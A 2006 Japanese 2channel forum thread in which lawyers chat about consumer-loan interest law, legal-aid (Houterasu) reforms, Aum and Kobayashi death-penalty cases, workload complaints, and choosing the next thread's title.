二審と三審の各審理を骨抜きにして「迅速な確定(裁判?)」に貢献した功労者w

828 :無責任な名無しさん:2006/09/23(土) 12:19:32 ID:r04QZtRg
刑事の手続きかなり忘れてるんだが、これって再審申立の可能性はないのか?

829 :無責任な名無しさん:2006/09/23(土) 12:58:57 ID:Kfpe7vu6
新しい証拠などないだろ

830 :無責任な名無しさん:2006/09/23(土) 13:15:06 ID:eyncxYI+
新証拠がなければ新鑑定で作出するのが最近のトレンド>再審

831 :無責任な名無しさん:2006/09/23(土) 13:32:50 ID:2nRmC8ay
>>830
でも今から麻原の精神状態を鑑定しても刑の執行停止にしかならんのでは?
過去の精神状態を鑑定させるのは至難の業だろうし

832 :無責任な名無しさん:2006/09/23(土) 13:36:52 ID:Kfpe7vu6
もうすぐ法務大臣も変わるから,次の人が執行するかどうかだね
とっととやっちゃえばいいよ

833 :無責任な名無しさん:2006/09/23(土) 13:44:46 ID:eyncxYI+
迅速な裁判とは……へ理屈を付けて高裁審理を飛ばして上告権も失くすことw

834 :無責任な名無しさん:2006/09/23(土) 14:07:45 ID:Vt2+KRFF
実際,ニュー速+とかでは,「弁護人も早くやめたかったんだろ」とか「結果としては弁護団GJ!」みたいなレスが散見された。

835 :無責任な名無しさん:2006/09/23(土) 17:30:07 ID:5z1GpJnw
明日中にやること

(1)依頼者様へ,2週間前にあった裁判のご報告と,
   今度までにやって欲しいことのお願い(ぜったい)
(2)示談事件の受任通知といちゃもん的なお返事 (なにがなんでも)
(3)新・専門家に聞いたレポート(まあまあ)
(4)大切な依頼者様から頼まれた判例検索と分析
(5)ついでに上記各判例を分析して研究会のネタにするためのレジュメ作成(そろそろ)
(6)示談交渉のお返事 その1(Tさんの件)
(7)示談交渉のお返事 その2(Hさんの件)

ぜったいぜんぶできないと思います

836 :無責任な名無しさん:2006/09/23(土) 17:38:30 ID:vGimsVvx
>>835
床屋が無くなってるw

837 :無責任な名無しさん:2006/09/23(土) 17:46:53 ID:oJj0ed4t

アイフル貸倒過大計上+印紙税申告漏れキタ━━━━(゚∀゚)━━━━!!!!
http://www.yomiuri.co.jp/national/news/20060922i404.htm

838 :MS754 ◆hentaii32. :2006/09/23(土) 20:19:15 ID:gpxvAYn2
面白い。トリを探してきました。

839 :MS754 ◆y///999... :2006/09/23(土) 20:21:19 ID:gpxvAYn2
こんなのもどうでしょうか。

840 :MS754 ◆yGUnQdhyV2 :2006/09/23(土) 20:25:12 ID:gpxvAYn2
お粗末さまでした。

841 :無責任な名無しさん:2006/09/24(日) 00:03:48 ID:35YeDOMS
>>835
とっとと仕事しろよ
2,6,7なんか、依頼者との打ち合わせが終わっているんだったら一つ1時間もあれば十分すぎるくらいだろ
1だって電話で伝言なら10分もかからないし、書面送るのでも30分で良いだろ
3だって内容はわからないけど2,3時間だろ
4でも4時間程度、5なんかは後回しだ。直前に作った方が頭の中に残ってて良い

つーことで、明日、10時間も働けば大丈夫だ。つーか、本当は7,8時間が良いところだろう。
昼に出て、8時くらいまで気合い入れろ。
(最後の2行はむしろ私自身のために書いてみました。)




842 :無責任な名無しさん:2006/09/24(日) 01:36:34 ID:u8BK6TH/
>>835
これはそんなに大変じゃないよな。

843 :無責任な名無しさん:2006/09/24(日) 01:54:21 ID:fUUw0DSu
835、がんばれー
あなたはいつ休んでるの?

844 :無責任な名無しさん:2006/09/24(日) 06:20:40 ID:cdHJVKvk
3年留学してたのから、もうすぐ日本に帰るんだけど、公益活動義務化と法テラスの関係って
どうなってるんでしょうか。

一弁所属だったので、留学の前は、国選か当番か多重債務整理のうちのどれか1件をしないといけない、
という形だったと思うのですが、国選や当番は法テラスを通さないとできなくなったんですっけ?

なんか馬鹿団体だ、と聞くので、やりたくないなぁ。。。債務整理するか。。。

845 :無責任な名無しさん:2006/09/24(日) 07:06:59 ID:Ov1Fruay
>842
大変じゃないと思う。
でも私は835のようなタイプの仕事がどうも嫌いで後回しにしがちなので
835さんがため込みがちにしてしまう気持ちがちょっと分かるw
でもそういう仕事こそ、サクサクこなしていけば「今日はたくさん仕事やった」
って錯覚を得られるし、反対に溜め込んでしまうとものすごく憂鬱になって
ますますやりたくなくなるから、さっさとやるべきなんだよな〜



846 :無責任な名無しさん:2006/09/24(日) 07:30:07 ID:7M+GU4Gd
10月から扶助も国選もやらなくていいからホント楽だ。
日弁連さんありがとう。

847 :無責任な名無しさん:2006/09/24(日) 09:52:12 ID:eIrX+iZD
最近市民団体が都合の良い裁判官に当たるまで訴えを取り下げまくってるみたいだが
法には反しないとはいえ訴訟経済の無駄使いだよな。

848 :無責任な名無しさん:2006/09/24(日) 10:58:00 ID:RCKEpI2O
 今日の朝日一面トップ(この地方では)

アコム、高率の遅延金 違法契約の疑い

http://www.asahi.com/national/update/0923/TKY200609230257.html
(一部抜粋)
保証委託契約の遅延損害利率をめぐっては、04年5月に東京高裁が
「(金銭消費貸借契約の場合に最大29.2%まで認める)利息制限法
の規定は適用されず、消費者契約法が上限となる」との判断を示してお
り、同法を所管する内閣府も同様の見解だ。

 利息制限法が29.2パーセントまで認めているとはしらなかったww
この記事を書いた記者はこの手の問題は何もわかっていないんだな。

 しかし、アコムも、
「さまざまな法的見解があることは承知しているが、利息制限法の範囲
内であり、違法ではないと認識している」      
というコメントを発表したんだろうか??アコム広報部が間違えたのか、
新聞記者が勘違いしたまま記事に載せたのか・・・

 アコムと合弁会社作った某都銀はコンプライアンスとして大丈夫なのかなあ。
銀行と提携した消費者金融や信販は銀行からかなりうるさく言われるときいたこと
があるけど・・・

849 :無責任な名無しさん:2006/09/24(日) 11:12:15 ID:6oiGA7zR
君が代訴訟の東京都の対応はアホだな
連中は事件にしたいんだから、無視するに限る
別の理由で冷や飯食わせばいいだけ
左翼のアホ教師とアホ弁の望むところだった

850 :無責任な名無しさん:2006/09/24(日) 11:21:31 ID:U+3XxGn/
>>848
利息制限法で認められる遅延損害利率は最高29.2%じゃないの?
20%(1条)×1.46(4条1項)=29.2%

851 :無責任な名無しさん:2006/09/24(日) 14:19:06 ID:Op4zXhaf
>利息制限法が29.2パーセントまで認めているとはしらなかったww
>この記事を書いた記者はこの手の問題は何もわかっていないんだな。

馬鹿丸出しだな。
うちの事務員でも,こんな勘違いはしないぞw


852 :無責任な名無しさん:2006/09/24(日) 16:49:15 ID:TAIs99PG
>>851
馬鹿以前の問題だろ
保釈保証書を知らなかった野郎よりひどい
日本一あほな弁護士

853 :無責任な名無しさん:2006/09/24(日) 17:06:21 ID:AGs/Hgn7
書士や業者が紛れ込んでいる希ガス

854 :無責任な名無しさん:2006/09/24(日) 17:21:28 ID:U+3XxGn/
なんだ,非弁か。
そりゃそうだよな。

855 :無責任な名無しさん:2006/09/24(日) 17:40:35 ID:35YeDOMS
>>852
非弁のにおいがぷーんとする。
ちなみに俺は>>848じゃないから妄想で攻撃してくんなよw

856 :無責任な名無しさん:2006/09/25(月) 05:59:52 ID:rfI3xfHt
>835 :無責任な名無しさん :2006/09/23(土) 17:30:07 ID:5z1GpJnw
>明日中にやること
>(1)依頼者様へ,2週間前にあった裁判のご報告と,
>  今度までにやって欲しいことのお願い(ぜったい)

なんで裁判の報告が2週間もかかるねん....

857 :無責任な名無しさん:2006/09/25(月) 08:06:59 ID:OSCWBwc2
下がりすぎだから上げる。

司法試験板見に行くと、すっかりローの板になってしまったな。
合格率か人数かというきわめてクダラナイ議論で盛り上がっている。
ある意味あそこはたちの悪い学歴板だよ。

858 :無責任な名無しさん:2006/09/25(月) 08:52:24 ID:l0P+spXu
>835

君、今このスレの一番の人気者だね

859 :無責任な名無しさん:2006/09/25(月) 08:53:44 ID:JMfXOERP
>>858
身につまされるからな(にがわら

860 :無責任な名無しさん:2006/09/25(月) 10:06:06 ID:ClfenM+V
>857
司法試験板なんて受験生の頃から見ていたの?
修習生になって初めて見たけど、昔からろくなもんじゃなかったよ。


861 :無責任な名無しさん:2006/09/25(月) 11:15:02 ID:mK/PirMI
いずこも同じ秋の夕暮れ

862 :無責任な名無しさん:2006/09/25(月) 11:50:13 ID:lLvmn+xF
上にも出ているヤメ判女性弁護士さんのブログだが,
1 裁判所からの振込や公的な振込にはそもそも振込手数料かからないんだから,裁判所が優しい訳じゃない。
  信頼できる人だから手を抜いてしまって後で揉めるんだから,ちゃんと報酬や必要経費をさっ引いて,振込手数料もさっ引いて振り込むべきです。
  そもそも全額戻すんだったら,裁判所からの振込口座を依頼人の父にしておけばいいのに。手数料損だ。
2 マンションの所有名義人の件。住民票の除票とかとっても分からないんだろうか。24年前死亡なら,分かっても良さそうだ。
  で,何故に死亡が分かったのだろうか。閉鎖謄本も住民票の除票もないのに死亡の立証などできないだろうし,そうであるならば,相続財産管理人ではなく,不在者財産管理人にあるのではないか。
  いずれにせよ,難しそうだ。

863 :無責任な名無しさん:2006/09/25(月) 13:15:05 ID:LJACPh3E
オウム控訴審弁護人2名に処置請求か。
しかも弁護人にとってかっこわるすぎる理由で。
正直、オウム控訴審弁護人2名には同情できないのだが。。

864 :無責任な名無しさん:2006/09/25(月) 13:27:14 ID:3F1bf1ag
>862
住民票の除票って保存期間5年じゃないか??

865 :無責任な名無しさん:2006/09/25(月) 13:30:36 ID:EETPPdi8
>>863
法廷のことは、法廷で解決すべきだろ。措置請求は明らかに行き過ぎだろ。


866 :無責任な名無しさん:2006/09/25(月) 14:01:08 ID:eDDYMib0
>>863
あれ、いまだに行動の理由がよくわからん。
出来上がってる控訴趣意書を裁判所まで持って行ったのに、提出しなかったんだろ?
なんで出さなかったんだろ?

867 :無責任な名無しさん:2006/09/25(月) 14:32:54 ID:3+4KeDXO
実は出来てなかったんだろ

868 :無責任な名無しさん:2006/09/25(月) 14:35:14 ID:JMfXOERP
A4でたった4枚なんで,出すのが恥ずかしかったと思うけど

869 :無責任な名無しさん:2006/09/25(月) 14:45:51 ID:rG0MvxJD
>>862
URLまたは検索キーワードとヒントを教えて。

870 :無責任な名無しさん:2006/09/25(月) 14:47:10 ID:rG0MvxJD
>>867
映画に出てくるマフィアの見せ金と一緒で、表紙だけであとは新聞紙だったりしてなw

871 :無責任な名無しさん:2006/09/25(月) 15:05:08 ID:JMfXOERP
>>870
別の事件の手抜き版だったりしてw

872 :無責任な名無しさん:2006/09/25(月) 15:06:36 ID:lLvmn+xF
【TAPALS博士プロフィール】
タパルス博士は、愛媛県松山市出身で、62歳。
大学の専攻は経済心理学。毎朝グラス一杯の
青汁を飲んで、東京・丸の内の事務所で、
消費者金融に関する様々な質問に答えています。

http://www.tapals.com/about/aboutname.html

タパルス博士は愛媛出身らしいな。

何で愛媛?

873 :無責任な名無しさん:2006/09/25(月) 15:28:18 ID:da/maPXn
>>869
ここから探すべし
http://blawg.ring.hatena.ne.jp/

874 :無責任な名無しさん:2006/09/25(月) 15:32:51 ID:LJACPh3E
>>872
愛媛県で思い浮かぶのは、業者のニッシン、それに宇都宮健児弁護士。
ニッシンは消費者金融連絡会に加入していないので、邪推すると、
宇都宮弁護士をおちょくっていると思えなくもない。邪推だろうがw



875 :無責任な名無しさん:2006/09/25(月) 17:43:45 ID:lLvmn+xF
宇都宮先生何歳だろう

876 :無責任な名無しさん:2006/09/25(月) 20:13:21 ID:Tn46hYjO
宇都宮先生が毎朝青汁を飲んでたら・・・

877 :無責任な名無しさん:2006/09/25(月) 20:17:12 ID:Tn46hYjO
>>862
そもそも依頼人からのメールだとかを書きすぎである。
了解を得ているとは到底思えないんだが。

878 :無責任な名無しさん:2006/09/25(月) 23:48:34 ID:OSCWBwc2
>>873
Barl-Karthの日記 ?

バカ左翼で大人げないところが好きです。

879 :無責任な名無しさん:2006/09/26(火) 00:06:24 ID:9o/+dmdQ
>>862のブログは、Barl-Karthの日記ではありません。

880 :無責任な名無しさん:2006/09/26(火) 00:37:23 ID:t4KZ9R4u
宇都宮先生と闇金とのやりとりが面白かったな。

「あなた、宇都宮弁護士なんですか?」
「・・・・・ん?あなたは?」
「宇都宮です」
「・・・・・・。プツッーーーーーー」

881 :無責任な名無しさん:2006/09/26(火) 05:28:48 ID:t4KZ9R4u
すまん。わけがわからなかったな。

先生「あなた、宇都宮弁護士なんですか?」
業者「・・・・・ん?あなたは?」
先生「宇都宮です」
業者「・・・・・・。プツッーーーーーー」


882 :無責任な名無しさん:2006/09/26(火) 09:26:44 ID:ot7XwRPx
あ〜。逆に考えてた。

883 :無責任な名無しさん:2006/09/26(火) 09:39:03 ID:bjLfI5GQ
>862
うちの裁判所は,弁護人請求の保釈の場合,保釈保証金の返還口座も弁護人の(預かり)口座に指定させられる。
手数料がもったいないから直接じゃだめですか?ってきいたらだめだった。

884 :無責任な名無しさん:2006/09/26(火) 10:26:49 ID:dhXygbRq
普通そうだろ
納付者が還付先になって当然

885 :無責任な名無しさん:2006/09/26(火) 10:34:46 ID:Kk31xcNH
Barl-Karthは高山派なんだろうか



886 :無責任な名無しさん:2006/09/26(火) 10:41:55 ID:sRlxPeD0
>>885
高山派のチラシに寄稿しているので客観的には高山派だろう。
しかし,なんだか雰囲気は違う(良い意味で)。

887 :無責任な名無しさん:2006/09/26(火) 11:36:18 ID:hpgYEUeN
>小林被告に死刑 
>【11:32】女児誘拐殺人事件の小林薫被告に対し、奈良地裁は、求刑通り死刑の判決を言い渡した。

死刑基準が大きく変わりそうですね・・


888 :無責任な名無しさん:2006/09/26(火) 11:40:02 ID:3/FWyu3X
どうせ控訴審で破れるよ。
仇討ち司法だな。

889 :無責任な名無しさん:2006/09/26(火) 11:46:34 ID:dhXygbRq
こんな奴どんどん死刑にすればいいんだよ
刑務所に入れるのは税金の無駄

890 :無責任な名無しさん:2006/09/26(火) 11:48:27 ID:Kk31xcNH
控訴審でも死刑だろう

891 :無責任な名無しさん:2006/09/26(火) 11:58:34 ID:9o/+dmdQ
控訴審あるのか?本人が死刑にしてくれといってるんだろ。
弁護人が控訴しても本人が取り下げて確定という宅間パターンになりそうな気が・・・

892 :無責任な名無しさん:2006/09/26(火) 12:15:21 ID:Kk31xcNH
宅間ほどはっきりした意思はないように思う

893 :無責任な名無しさん:2006/09/26(火) 12:29:21 ID:M5m8ZCTW
ピアノ殺人事件の控訴取下げは確信犯だったけど
今度はどうかなー

894 :無責任な名無しさん:2006/09/26(火) 12:41:09 ID:LC4su+vl
>>883
裁判所で直接還付する形にすりゃいいじゃん。
以前、依頼人の家族から「どうしても判決が出た日のうちに保釈金を返して欲しい。」と言うんで、
判決が出た後、本人の家族と一緒に裁判所の会計係行って保釈金を返してもらったことがある。

895 :無責任な名無しさん:2006/09/26(火) 12:44:15 ID:sRlxPeD0
今後は,誘拐殺人とか,強姦殺人とか,強盗殺人とか,仮釈中殺人とか,
役がついてれば被害者1人の殺人でも(確定的殺意なら)死刑ということになるのかな。

896 :無責任な名無しさん:2006/09/26(火) 12:45:22 ID:sRlxPeD0
高山俊吉テレ朝にキタ━(゚∀゚)━(∀゚ )━(゚  )━(  )━(  )━(  ゚)━( ゚∀)━(゚∀゚)━ !!

897 :無責任な名無しさん:2006/09/26(火) 12:48:08 ID:M5m8ZCTW
>>895
同種実刑前科があり,傾向犯としての常習性は必要と思われる

898 :883:2006/09/26(火) 13:05:15 ID:bjLfI5GQ
>894
まあそうなんだけど。
私戦の場合,事実上報酬の担保だから,裁判所の会計係の前で,
札を数えて,じゃあこれだけいただきますってなんかいやじゃないですか?
だからといって後日精算というほど信用もしてない(過去の経験)。

883で書いたことと矛盾してきたけど…

899 :無責任な名無しさん:2006/09/26(火) 13:19:51 ID:NH9+GtPf
住宅ローンを組むのは
登録何年目くらいが良いと思います?
要するに自分の収入が安定して
目処がつく時期ってことだとは
思うんですが…教えて先輩!

900 :無責任な名無しさん:2006/09/26(火) 13:22:13 ID:fFR779/w
業界大変動の時期にあたるため10年は様子を見た方がよい。

901 :無責任な名無しさん:2006/09/26(火) 13:22:57 ID:Kk31xcNH
>>899
最近CAMだのを見ていても思うことなんだけど,そんなこと自分で考えろや!って思う質問が多い。

900ゲット!




902 :無責任な名無しさん:2006/09/26(火) 13:23:56 ID:Kk31xcNH
よけいなことを書いていて900を取り損ねたw

これからは若い人の時代だな…

903 :無責任な名無しさん:2006/09/26(火) 13:24:46 ID:fFR779/w
俺はおっさんだ

904 :無責任な名無しさん:2006/09/26(火) 16:36:15 ID:sRlxPeD0
camに2ちゃんのスレッドが貼られてて笑った。
しかも,俺の書いた携帯キャリア判別方法が広く紹介されてしまった・・・・。

905 :無責任な名無しさん:2006/09/26(火) 17:10:42 ID:bDv6683M
飲み屋の姉ちゃんが法科大学院を再来年卒業する。
こんなのが弁護士になるのか。
時代は変わったんだ。

906 :無責任な名無しさん:2006/09/26(火) 17:19:44 ID:Kk31xcNH
>>904
あの人は判決うpするときにvipロダとかに上げる人だから,このスレにも良く来るんだろう。

907 :無責任な名無しさん:2006/09/26(火) 17:30:32 ID:YPJn18Ne
大阪では、クレサラ相談はほぼ全て法テラスが直営で行なうことになり
弁護士会の手から離れるそうだが、全国的にそうなのか?
法律相談センターの相談料収入が減って大打撃になるように思うが。


908 :無責任な名無しさん:2006/09/26(火) 18:07:46 ID:sRlxPeD0
当地方では,法テラスはしばらくまともな相談対応業務ができそうにありません。
管理職の弁護士が数人いるだけ。
たまに無料相談の日があるくらいで,旧扶助協会の頃と変わりなさそうです。

909 :無責任な名無しさん:2006/09/26(火) 18:28:43 ID:YPJn18Ne
大阪では、昨年頃から扶助協会の委託事業という形をとって、弁護士会の法律相談センター
事実上クレサラ法律相談を無料化したが、今回法テラスがすっぽりこれを直営化するらしい。
これって庇を貸して母屋をとられるというやつだよね。何か法テラスのさばり過ぎ。



910 :無責任な名無しさん:2006/09/26(火) 18:29:36 ID:sRlxPeD0
>>909
大阪は,物理的には法テラスを「尻に敷いている」構造なんだがなあ

911 :無責任な名無しさん:2006/09/26(火) 18:30:52 ID:sRlxPeD0
ところで,そろそろ新スレのスレタイ弁護団会議を始めよう。

【ようこそ】弁護士本音26【59期諸君】

なんてどう?


912 :無責任な名無しさん:2006/09/26(火) 18:33:26 ID:Gqnm1cSt
【1人でも】弁護士本音26【死刑】

913 :無責任な名無しさん:2006/09/26(火) 18:38:22 ID:sRlxPeD0
>>912
部外者の投稿を呼び込まないようなスレタイにしましょうや

914 :無責任な名無しさん:2006/09/26(火) 18:40:54 ID:ot7XwRPx
つーか、つい先日考えたばかりのような気がしてたけど。

915 :無責任な名無しさん:2006/09/26(火) 18:45:09 ID:1DohQMKv
【新人】弁護士本音26【大杉】

916 :無責任な名無しさん:2006/09/26(火) 18:45:55 ID:t4KZ9R4u
>>913
つ【弁護士以外】弁護士本音26【書き込み禁止】




917 :無責任な名無しさん:2006/09/26(火) 19:10:41 ID:AbKgCF7j
916賛成

918 :無責任な名無しさん:2006/09/26(火) 19:13:25 ID:ems4oPXj
【新司】弁護士本音26【48%】

919 :無責任な名無しさん:2006/09/26(火) 19:23:51 ID:QuXIggcS
【ようこそ】弁護士本音talkスレPart8【第58期よ】
というのが過去スレにあったので、それにならって59期にしてみてはどうか。

920 :無責任な名無しさん:2006/09/26(火) 19:38:57 ID:pEI075jx
この25スレ目のタイトルはいろんな意味で問題。
スレタイの基本は「弁護士本音talkスレ」なのに、
「弁護士本音」にしてるし。

921 :無責任な名無しさん:2006/09/26(火) 19:55:04 ID:JW/6eP0w
【ラマダン】弁護士本音talkスレPartX【断食休廷】

922 :無責任な名無しさん:2006/09/26(火) 20:10:07 ID:V4dkGwDU
【秋の夜長】弁護士本音talkスレPart26【今夜も起案】

923 :無責任な名無しさん:2006/09/26(火) 20:34:36 ID:YGiRchW1
>>912とか,>>916みたいにすると,
そのテーマについて弁護士が本音で語るスレだと思われるのではないでしょうか。
よって,>>919とか,>>922みたいなものが良いと思います。

924 :923:2006/09/26(火) 20:36:39 ID:YGiRchW1
上げてしまいました。すんません。

925 :無責任な名無しさん:2006/09/26(火) 20:36:48 ID:sRlxPeD0
【書面は】弁護士本音talkスレPart26【夜作られる】

926 :無責任な名無しさん:2006/09/26(火) 20:37:37 ID:8bYt3Azl
今のところは、
>>922
ぐらいしか、候補といえるレベルにない。
今回のスレの業者・非弁入り交じったぐだぐだ具合の方が、元のまったりよりいい。って
言うのなら話は別だが。

それ以外の案は、今回と同じ様な進行になる可能性大。

927 :無責任な名無しさん:2006/09/26(火) 20:38:02 ID:sRlxPeD0
MS先生マダァ-? (・∀・ )っ/凵⌒☆チンチン

928 :無責任な名無しさん:2006/09/26(火) 20:42:10 ID:JW/6eP0w
【釧路で会おう】弁護士本音talkスレPart26【人権大会】

929 :MS754 ◆yGUnQdhyV2 :2006/09/26(火) 21:40:47 ID:+PEUHQEp
>>927
お呼びでしょうか?
で、テンプレを・・・・・・。

前スレ↓
【貸金業法】弁護士本音25【改正or改悪?】
http://school5.2ch.net/test/read.cgi/shikaku/1157338815/
注意書き,リンク集などは>>2-10あたりに・・・


930 :MS754 ◆yGUnQdhyV2 :2006/09/26(火) 21:46:38 ID:+PEUHQEp
○こちらは弁護士の方や関係者などの雑談スレになります。
○特定の個人名、事務所名、電話番号、住所などは絶対に書き込まないでください。
○司法試験関係は 「司法試験板」 http://school5.2ch.net/shihou/ がございます。
○法律相談は、最寄りの法律相談センターや弁護士会、各種相談スレまたは下記スレへ。
やさしい【易しい】法律相談part190
http://school5.2ch.net/test/read.cgi/shikaku/1159238495/
------------------------------------------------------------
○弁護士の本音トークスレです。
 したがって,それ以外の話題,たとえば
 ×弁護士に対する相談
 ×弁護士以外の人の過度のスレ参加
 はなるべくご遠慮ください。
○荒らしは無視の方向でしかるべく。
○なるべくsage進行で。

931 :MS754 ◆yGUnQdhyV2 :2006/09/26(火) 21:48:46 ID:+PEUHQEp
過去スレその1
弁護士本音talkスレッド
http://school.2ch.net/test/read.cgi/shikaku/998739465/
http://yasai.2ch.net/shikaku/kako/998/998739465.html
【雑談】弁護士本音talkスレ その2【ため息】
http://school.2ch.net/test/read.cgi/shikaku/1059490362/
【雑談】弁護士本音talkスレ その3【ため息】
http://school.2ch.net/test/read.cgi/shikaku/1065526506/
【希望】弁護士本音talkスレ その4【失望】
http://school2.2ch.net/test/read.cgi/shikaku/1074280112/
【希望】弁護士本音talkスレ その5【失望】
http://school4.2ch.net/test/read.cgi/shikaku/1080568884/
【夏期】弁護士本音talkスレ その6【休廷】
http://school4.2ch.net/test/read.cgi/shikaku/1087307654/
【夏バテ】弁護士本音talkスレpart7【ビール腹】
http://school4.2ch.net/test/read.cgi/shikaku/1091890714/
【ようこそ】弁護士本音talkスレPart8【第58期よ】
http://school4.2ch.net/test/read.cgi/shikaku/1096634157/
【諸行】弁護士本音talkスレPart9【無常】
http://school4.2ch.net/test/read.cgi/shikaku/1099052870/
【忘年会】弁護士本音talkスレpart10【新年会】
http://school4.2ch.net/test/read.cgi/shikaku/1102088211/
【確定】弁護士本音talkスレpart11【申告】
http://school4.2ch.net/test/read.cgi/shikaku/1107791882/
【黄金】弁護士本音talkスレpart12【週間】
http://school4.2ch.net/test/read.cgi/shikaku/1113138219/



932 :無責任な名無しさん:2006/09/26(火) 21:50:07 ID:sRlxPeD0
呼ばれて飛び出てじゃじゃじゃじゃーん

933 :MS754 ◆yGUnQdhyV2 :2006/09/26(火) 21:50:44 ID:+PEUHQEp
過去スレその2
【相談は】弁護士本音talkスレpart13【他のスレで】
http://school4.2ch.net/test/read.cgi/shikaku/1115537611/
【クールビズ】弁護士本音talkスレpart14【してる?】
http://school5.2ch.net/test/read.cgi/shikaku/1118220156/
【国選増額】弁護士本音talkスレ15【熱烈希望】
http://school5.2ch.net/test/read.cgi/shikaku/1122387067/
【風立ちぬ】弁護士本音talkスレ16【爽やかに】
http://school5.2ch.net/test/read.cgi/shikaku/1125622482/
【WELCOME】弁護士本音talkスレPart17【58期】
http://school5.2ch.net/test/read.cgi/shikaku/1128939534/
【食欲の秋】弁護士本音talkスレPart18【ダイエット】
http://school5.2ch.net/test/read.cgi/shikaku/1130480126/
【メリー】弁護士本音talkスレPart19【クリスマス】
http://school5.2ch.net/test/read.cgi/shikaku/1133217229/
【サヨナラ】弁護士本音talkスレPart20【みなし弁済】
http://school5.2ch.net/test/read.cgi/shikaku/1137164618/
【花見は】弁護士本音talkスレPart21【まだか?】
http://school5.2ch.net/test/read.cgi/shikaku/1141830790/
【連休中は】弁護士本音talkスレPart22【居留守】
http://school5.2ch.net/test/read.cgi/shikaku/1146261889/
【新法続々】弁護士本音talkスレPart23【日々勉強】
http://school5.2ch.net/test/read.cgi/shikaku/1149832472/
【お盆中も】弁護士本音talkスレPart24【居留守】
http://school5.2ch.net/test/read.cgi/shikaku/1153918884/
【貸金業法】弁護士本音25【改正or改悪?】
http://school5.2ch.net/test/read.cgi/shikaku/1157338815/


934 :MS754 ◆yGUnQdhyV2 :2006/09/26(火) 21:57:41 ID:+PEUHQEp
>>932
ハクション大魔王ですか?

関連スレ
【ドラマと】事務員本音talkスレ5頁目【大違い】
http://school5.2ch.net/test/read.cgi/shikaku/1145260846/
■裁判官の部屋 その3■
http://school5.2ch.net/test/read.cgi/shikaku/1137575282/
【任官】検事になりたいんですがその14【祈願】
http://school5.2ch.net/test/read.cgi/shihou/1157293548/
■若手法曹スレッドpart1■
http://school5.2ch.net/test/read.cgi/shikaku/1112780497/
裁判所書記官だけでマターリしようよvol.2
http://society3.2ch.net/test/read.cgi/koumu/1158853496/
裁判所事務官は力持ちvol.2
http://society3.2ch.net/test/read.cgi/koumu/1158565808/


935 :MS754 ◆yGUnQdhyV2 :2006/09/26(火) 22:01:23 ID:+PEUHQEp
サイト集はそのままで。

スレタイについて、個人的には、
【秋の夜長】弁護士本音talkスレPart26【今夜も起案】
がよさそうかと・・・。






936 :無責任な名無しさん:2006/09/26(火) 22:12:31 ID:+tdP5K+1
【秋の夜長】弁護士本音talkスレPart26【今夜も起案】
がよさそうかと・・・。

賛同。 決まりかな・・・・。


937 :行き詰まり弁護士 ◆BAKA/8y6zk :2006/09/26(火) 22:28:23 ID:q7NF5XkG
>>935 MS754先生
し か る べ く

938 :無責任な名無しさん:2006/09/26(火) 22:32:07 ID:JW/6eP0w
>>937
と同様です。
全 部 同 意 し ま す。


939 :無責任な名無しさん:2006/09/26(火) 23:32:44 ID:NJTn4rQd
>>909
今日ファックスが来たよ。
法テラス契約書とともに。

「今後はサラ金相談のほとんどが日本史法支援センターの取り扱う相談に該当することになると予想されます」だって。
予想されます、って他人事かよ・・・。

で、相談の法テラスへの振り替えのファックスなんだが、「了承しない」に○を付けたら、相談日が飛ぶんだろうか。

個人的には法テラスには懐疑的な部分が多いからやりたくないけど、民事の扶助があるから、契約せざるをえないんだよな。

940 :無責任な名無しさん:2006/09/27(水) 00:09:57 ID:dSHC5SsD
スレタイ長くね?大丈夫?

941 :MS754 ◆yGUnQdhyV2 :2006/09/27(水) 00:10:49 ID:OOzcPIXp
次スレです。↓
【秋の夜長】弁護士本音talkスレPart26【今夜も起案】
http://school5.2ch.net/test/read.cgi/shikaku/1159283071/

>>940
スレをスレにして何とか入りました。

942 :無責任な名無しさん:2006/09/27(水) 09:51:05 ID:9nQez3jq
>>939
ネット等でサラ金無料相談を増えたため、法律相談センターのサラ金相談が減った→あせった
センターは相談を増やすべく無料化を計画したが、種々の困難から、扶助協会の委託事業という
形式にして「無料相談」を実現した。委託事業であるが、センターが相談をしていたため
受任する場合はセンター経由事件となり、センター基準の報酬が適用された。
ところが、今回は扶助協会を承継した法テラスが直営するため、受任する場合は全て扶助事件になる
つまり、今後大阪のクレサラはほとんど全て扶助事件になるということ。
センターは何て馬鹿なことをしてくれんただよ! 責任とれよ!

943 :無責任な名無しさん:2006/09/27(水) 09:59:24 ID:KaixhgDM
>>942
もちつけw

944 :無責任な名無しさん:2006/09/27(水) 10:11:09 ID:Q6LC0lPL
弁:金額掲示

妻:うちの亭主の価値はこれだけしかないんですか!!

弁:いえいえ旦那様の価値は人それぞれ違います。
  これは法的に算出した加害者との間の価値です。
  奥様との間の価値はもっとあります。

妻:激怒(20分以上にわたり泣く叫ぶ)

弁:旦那様が将来にわたってどの程度の価値を産む
  のかを元に算出した金額ですので、それ以上お怒
  りになると旦那様を侮辱していることと同じですよ。

妻:もっと激怒 帰宅命令


945 :無責任な名無しさん:2006/09/27(水) 10:11:57 ID:Q6LC0lPL
さげ

946 :無責任な名無しさん:2006/09/27(水) 10:30:27 ID:aJQPDJ7y
>>944
損保弁護士乙

947 :無責任な名無しさん:2006/09/27(水) 10:59:03 ID:Q6LC0lPL
>>946
非弁乙。ちゃんと読んでいれば損保じゃないことは明らかだぞ。

948 :無責任な名無しさん:2006/09/27(水) 10:59:42 ID:Q6LC0lPL
さーげ

949 :無責任な名無しさん:2006/09/27(水) 11:26:47 ID:aJQPDJ7y
>>947
ひべんじゃないけど・・・。
違ったか?俺には損保以外だとすると想像できないな。
刑事の示談交渉・・いや、ちがうか。こんな言葉遣いするはずないし。

950 :無責任な名無しさん:2006/09/27(水) 12:40:49 ID:DiKgFtv1
損保じゃないの
刑事の示談ではもっと低姿勢だろ

951 :無責任な名無しさん:2006/09/27(水) 12:54:52 ID:UaGeFi8g
危惧されたとおり、法テラスによって弁護士報酬低額化の流れがはじまったね。
これから弁護士報酬は扶助基準に収斂されていくだろうな。

952 :無責任な名無しさん:2006/09/27(水) 13:44:16 ID:drdNKWX3
法テラスというより私選弁護を25万円と勝手に決めたことが問題だ。
日弁連にちゃんと問い合わせたのだろうか。
どうも日弁連は法務省になめられているとしか思えない。

953 :無責任な名無しさん:2006/09/27(水) 14:22:52 ID:IZj5Xj2g
>952
 詳細を教えてください。資力要件50万円に関連した話ですか?
 ちなみに、私は資力が50万円以上あっても、すぐに払えないなら断る気でいる。
 とりっぱぐれのリスクを背負うぐらいなら低額の国選でいいやという考え。

954 :無責任な名無しさん:2006/09/27(水) 18:29:04 ID:cdlymwzX
